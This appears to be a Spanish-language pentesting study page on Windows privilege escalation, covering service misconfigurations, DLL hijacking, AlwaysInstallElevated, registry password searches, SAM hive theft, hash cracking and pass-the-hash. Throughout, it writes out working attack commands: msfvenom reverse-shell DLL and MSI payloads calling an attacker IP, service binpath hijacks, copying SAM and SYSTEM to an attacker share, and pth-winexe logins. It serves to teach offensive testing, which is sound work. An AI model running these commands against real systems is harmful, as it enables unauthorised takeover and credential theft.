Escalación de Privilegios en entornos Windows

Escalación de Privilegios

Herramientas de enumeración:

Exploits de kernel

Para encontrar exploits asociados al kernel, debemos seguir el siguiente proceso:

Enumerar la versión y el nivel de parchado de Windows (usando el comando systeminfo)
Encontrar un exploit que haga match con la información anterior (Google, ExploitDB, Github)
Compilar y ejecutar el exploit

Los exploits de kernel pueden ser inestables y pueden provocar fallos en el sistema.

Existen herramientas que nos pueden ayudar con esta tarea:

Desde la máquina víctima, guardamos la información del comando systeminfo en la máquina atacante:

systeminfo > \\192.168.1.1\tools\systeminfo.txt

Desde la máquina atacante, ejecutamos wesng para buscar vulnerabilidades de kernel:

python3 wes.py --update
python3 wes.py /tools/systeminfo.txt -i 'Elevation of Privilege' --exploits-only | more

Con esta información, podemos buscar en el github de binarios pre-compilados o en los otros recursos indicados más arriba.

Servicios vulnerables

Malas configuraciones de un servicio:

Permisos inseguros del servicio
Unquoted Services Path
Permisos débiles de registro
Ejecutables inseguros del servicio
DLL Hijacking

Cada servicio tiene una ACL que define ciertos permisos específicos de este.

Algunos permisos son inofensivos (como: SERVICE_QUERY_CONFIG o SERVICE_QUERY_STATUS), otros pueden ser de ayuda (como: SERVICE_STOP o SERVICE_START) y algunos pueden ser peligrosos (como: SERVICE_CHANGE_CONFIG o SERVICE_ALL_ACCESS).

Si el usuario tiene permisos para cambiar la configuración de un servicio que corre como SYSTEM, puede cambiar el ejecutable del servicio para usar el nuestro.

Rabbit Hole potencial: si podemos cambiar la configuración de un servicio, pero no podemos iniciar/detener el servicio, no seremos capaz de escalar privilegios.

Para detectar los servicios, podemos usar winPEAS:

.\winPEASany.exe quiet servicesinfo

Si encontramos un servicio interesante, podemos usar accesschk para corroborar los permisos:

.\accesschk.exe /accepteula -uwcqv <username> <service_name>

Podemos modificar la configuración y detener/iniciar el servicio.

Validamos la configuración de este:

sc qc <service_name>

Con esto, obtenemos el tipo de inicio del servicio, la ruta del binario, si tiene dependencias y los permisos del sistema.

Chequeamos el estado actual del servicio:

sc query <service_name>

Modificamos el PATH del binario, apuntando a nuestra shell reversa:

sc config <service_name> binpath= "\"C:\PrivEsc\reverse.exe\""

Nos ponemos a la escucha en la máquina atacante:

nc -nvlp 53

Ahora iniciamos el servicio:

net start <service_name>

Los ejecutables en Windows pueden correr sin la necesidad de usar sus extensiones (como por ejemplo: whoami.exe puede correr como whoami).

Algunos ejecutables toman argumentos, separados por espacios. Este comportamiento es ambiguo cuando usan rutas absolutas que no tiene comillas y contienen espacios.

Por ejemplo, tenemos la siguiente ruta sin comillas: C:\Program Files\Some Dir\SomeProgram.exe.

Obviamente se ejecuta SomeProgram.exe, pero para Windows, C:\Program podría ser el ejecutable, que tiene dos argumentos: Files\Some y Dir\SomeProgram.exe.

Para que Windows resuelva esta ambigüedad, valida cada una de las posibilidades de ruta. Si podemos escribir en un lugar antes de que Windows ejecute el binario, podemos usar nuestro binario para que sea ejecutado.

Usando winPEAS, podemos detectar estos servicios:

.\winPEASany.exe quiet servicesinfo

Validamos los permisos que tenemos para el servicio detectado:

.\accesschk.exe /accepteula -ucqv <username> <service_name>

Ahora, lo valoramos por las rutas donde se encuentra el servicio:

.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Copiamos nuestra shell reversa y lo llamamos common.exe:

copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

Nos ponemos a la escucha en nuestra máquina atacante:

nc -nlvp 53

Ahora iniciamos el servicio:

net start <service_name>

Los registros de Windows almacenan entradas para cada servicio.

Algunas entradas pueden tener ACLs, las cuales, pueden estar mal configuradas, con lo cual, podríamos modificar la configuración del servicio incluso si no lo podemos hacer directamente.

Usando winPEAS, podemos ver los servicios:

.\winPEASany.exe quiet servicesinfo

Validamos los permisos del servicio usando PowerShell:

powershell -exec bypass
Get-ACL HKLM:\System\CurrentControlSet\Services\regsvc | Format-List

Lo podemos hacer con accesschk:

.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

Si vemos que AUTHORITY\INTERACTIVE tiene FullControl, podemos hacer modificaciones.

Antes de seguir, validamos si podemos iniciar/detener el servicio:

.\accesschk.exe /accepteula -ucqv <username> <service_name>

Chequeamos los valores que tiene el registro:

reg query HKLM\SYSTEM\CurrentControlSet\Services\regsvc

Aquí podemos obtener la ruta del binario (ImagePath) y los permisos con el que se ejecuta (LocalSystem equivale a privilegios de SYSTEM).

Modificamos el valor ImagePath, apuntando a nuestra shell reversa:

reg add HKLM\SYSTEM\CurrentControlSet\Services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

Iniciamos netcat para poner el puerto a la escucha:

nc -nlvp 53

Iniciamos el servicio:

net start <service_name>

Si el ejecutable original del servicio es modificable por nuestro usuario, podríamos reemplazarlo con nuestro propio binario.

Se recomienda siempre crear un backup del binario original.

Mediante winPEAS, validamos los servicios:

.\winPEASany.exe quiet servicesinfo

Validamos la información de que el binario puede ser sobrescrito por cualquier:

.\accesschk.exe /accepteula -quvw <binary_path>

Revisamos si podemos iniciar/detener el servicio:

.\accesschk.exe /accepteula -uvqc <servicio>

Creamos un backup del binario original:

copy <binary_path> C:\Temp

Sobrescribimos el binario original:

copy /Y C:\PrivEsc\reverse.exe <binary_path>

Nos ponemos a la escucha:

nc -nvlp 53

Por último, iniciamos el servicio:

net start <service_name>

Algunas veces los servicios intentarán cargar funcionalidades desde una librería (DLL, dynamic-link library). Cualquier funcionalidad del DLL será ejecutado con los mismos privilegios del servicio.

Si el DLL es cargado en una ruta absoluta, podría ser posible que podamos escalar privilegios si el DLL puede ser sobrescrito por nuestro usuario.

El problema de configuración más común que se puede usar para escalar privilegios es si el DLL no se encuentra en el sistema, y nuestro usuario puede escribir en el directorio del PATH donde Windows busca el DLL.

Desafortunadamente, la detección inicial de esta vulnerabilidad es difícil, y el proceso de detección es completamente manual.

Mediante winPEAS podemos ver los servicios:

.\winPEASany.exe quiet servicesinfo

Luego de detectar un servicio vulnerable, validamos los permisos que tenemos:

.\accesschk.exe /accepteula -uvqc <username> <service_name>

Chequeamos la información del servicio:

sc qc <service_name>

Aquí, podemos obtener la ruta del binario y los permisos con los que se ejecuta.

Copiamos el binario en una máquina con Windows, y lo analizamos con Procmon64, el cual, debe ser ejecutado como administrador.

Detenemos y limpiamos los procesos, para así, poder agregar un nuevo filtro (CTRL+L) de Process Name que será igual al nombre del binario copiado (le damos Add):

Deseleccionamos la opción Show registry y Show network activity e iniciamos la captura nuevamente:

Volvemos a iniciar el servicio:

Identificamos los DLL que indican NAME NOT FOUND para luego buscarlos en el sistema de la máquina víctima:

Con esta información, más lo obtenido con winPEAS, creamos un DLL falso en una ruta donde podamos escribir.

Generamos el DLL con el siguiente comando:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.233.135 LPORT=53 -f dll -o <dll_name>

Iniciamos nuestro listener:

nc -nlvp

Copiamos el DLL en la máquina víctima:

copy \\192.168.233.135\tools\<dll_name> C:\Temp

Reiniciamos el servicio:

net stop <service_name>
net start <service_name>

Registros vulnerables

Windows puede ser configurado para ejecutar comando al inicio de sesión, y con esto, poder escalación de privilegios.

Estos programas son configurados en un registro, donde, si tenemos permisos de escritubra sobre el ejecutable AutoRun, y somos capaces de reiniciar el sistema (o esperar a que se reinicie), podríamos ser capaces de escalar privilegios.

Podemos usar winPEAS para ver la información de las aplicaciones:

.\winPEASany.exe quiet applicationsinfo

Con esta información, podemos obtener los AutoRuns y los permisos que tenemos en dicho programa.

Esto se puede enumerar manualmente usando el siguiente comando:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.\accesschk.exe /accepteula -wvu <AutoRun_binary_path>

Generamos un backup del binario original:

copy <AutoRun_binary_path> C:\Temp

Sobrescribimos el binario con nuestra shell reversa:

copy /Y reverse.exe <AutoRun_binary_path>

Iniciamos un listener:

nc -nlvp 53

Esperamos que se reinicie el sistema (o si tenemos los permisos, lo reiniciamos).

En Windows 10, los permisos del binario de AutoRun serán del último usuario logueado.

Los archivo MSI son paquetes usados para instalar aplicaciones.

Estos archivos corren con el permiso del usuario que los intenta instalar.

Windows permite a algunos instaladores correr con permisos elevados (administrador).

Si este es el caso, podemos generar un archivo MSI malicioso que contenga una shell reversa.

Para lograr esto, dos registros deben estar habilitados:

El valor AlwaysInstallElevated debe estar configurado en 1 para el local machine (HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer) y para el usuario actual (HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer).

Si alguno de estos falta, el exploit no funcionará.

Ejecutamos winPEAS para detectar esta configuración:

.\winPEASany.exe quiet windowscreds

Podemos validar esto de forma manual, consultando las llaves de registro:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Generamos un payload usando msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.233.135 LPORT=53 -f msi -o reverse.msi

Configuramos el listener:

nc -nlvp 53

Copiamos y ejecutamos el archivo MSI:

copy \\192.168.233.135\tmp\reverse.msi .
msiexec /quiet /qn /i reverse.msi

Passwords

Podemos encontrar que los administradores reutilizan sus contraseñas, o las dejan en una locación legible en el sistema.

Windows puede ser muy vulnerable a esto, debido que, varias características de este almacenan las contraseñas de forma insegura.

Algunos programas almacenan sus opciones de configuración en registros de Windows.

Windows por si solo, algunas veces almacena las contraseñas en texto plano en los registros.

Vale la pena buscar contraseñas en los registros.

Con los siguientes comandos podemos buscar llaves de registros que contengan el valor password:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

También, podemos usar winPEAS:

.\winPEASany.exe quiet filesinfo userinfo

Al obtener las credenciales, podemos usar la herramienta winexe para obtener nuestra shell:

winexe -U 'admin%password123' //192.168.233.141 cmd.exe

Podemos modificar un poco el comando, para obtener una shell como SYSTEM:

winexe -U 'admin%password123' --system //192.168.1.1 cmd.exe

Windows tiene el comando runas que permite a los usuarios correr comandos con el privilegio de otro.

Esto por lo general requiere el conocimiento de la contraseña del usuario, pero Windows también permite a los usuarios guardar sus credenciales en el sistema, las cuales, pueden ser usada para realizar un bypass de este requerimiento.

Podemos usar winPEAS para buscar estas credenciales:

.\winPEASany.exe quiet windowscreds

Esto lo podemos validar usando el siguiente comando:

cmdkey /list

Como tenemos las credenciales del usuario admin guardadas, podemos ejecutar cualquier comando usándolas.

Configuramos un listener:

nc -nlvp 53

Ahora usando runas ejecutamos nuestra shell reversa como admin:

runas /savecred /user:admin C:\PrivEsc\reverse.exe

Algunos administradores dejan en los archivos de configuración contraseñas del sistema.

Un archivo de ejemplo es Unattend.xml.

Esto permite la automatización de la gran parte de la configuración de un sistema Windows.

Podemos usar los siguientes comandos para encontrar credenciales:

dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txt

Esto lo podemos hacer con winPEAS:

.\winPEASany.exe quiet cmd searchfast filesinfo

Si encontramos el archivo Unattend.xml, lo podemos leer con el siguiente comando:

type <file_path>

Windows almacena los hashes de las contraseñas en la SAM (Security Account Manager).

Los hashes se encuentran cifrados por una llave que puede ser encontrada en el archivo llamado SYSTEM.

Si tenemos la habilidad de leer estos dos archivos, podemos extraer los hashes.

Estos se encuentran almacenados en el directorio C:\Windows\System32\config.

Los archivos se encuentran bloqueados cuando Windows se encuentra corriendo, pero, pueden existir backups de estos en los directorios C:\Windows\Repair o C:\Windows\System32\config\RegBack.

Esto lo podemos encontrar con winPEAS:

.\winPEASany.exe quiet cmd searchfast filesinfo

Si encontramos los archivos, los podríamos copiar en nuestra máquina atacante:

copy C:\Windows\repair\SAM \\192.168.233.135\tmp\
copy C:\Windows\repair\SYSTEM \\192.168.233.135\tmp\

Descargamos la última versión de creddump7:

git clone https://github.com/Neohapsis/creddump7.git

Si no funciona Python2, podemos instalar creddump7 en kali con el siguiente comando: sudo apt install creddump7.

Ejecutamos la herramienta:

/usr/share/creddump7/pwndump.py SYSTEM SAM

Si el hash NTLM de un usuario empieza con 31d6, puede que no tenga contraseña o que se encuentre deshabilitado.

Usando hashcat podriamos crackear el hash y obtener la contraseña:

hashcat -m 1000 --force <ntlm_hash> /usr/share/wordlists/rockyou.txt

Pass The Hash

Windows acepta los hashes en vez de las contraseñas para autenticarse en varios servicios.

Podemos usar una versión modificada de winexe (pth-winexe) para obtener nuestra shell:

pth-winexe -U 'admin%<full_hash>' //192.168.233.141 cmd.exe

Si queremos una shell como SYSTEM, usamos el siguiente comando:

pth-winexe --system -U 'admin%<full_hash>' //192.168.233.141 cmd.exe

PreviousPost Explotación NextPersistencia en entornos Windows

Last updated 2 years ago

hashtagEscalación de Privilegios

hashtagExploits de kernel

hashtagServicios vulnerables

hashtagRegistros vulnerables

hashtagPasswords

hashtagPass The Hash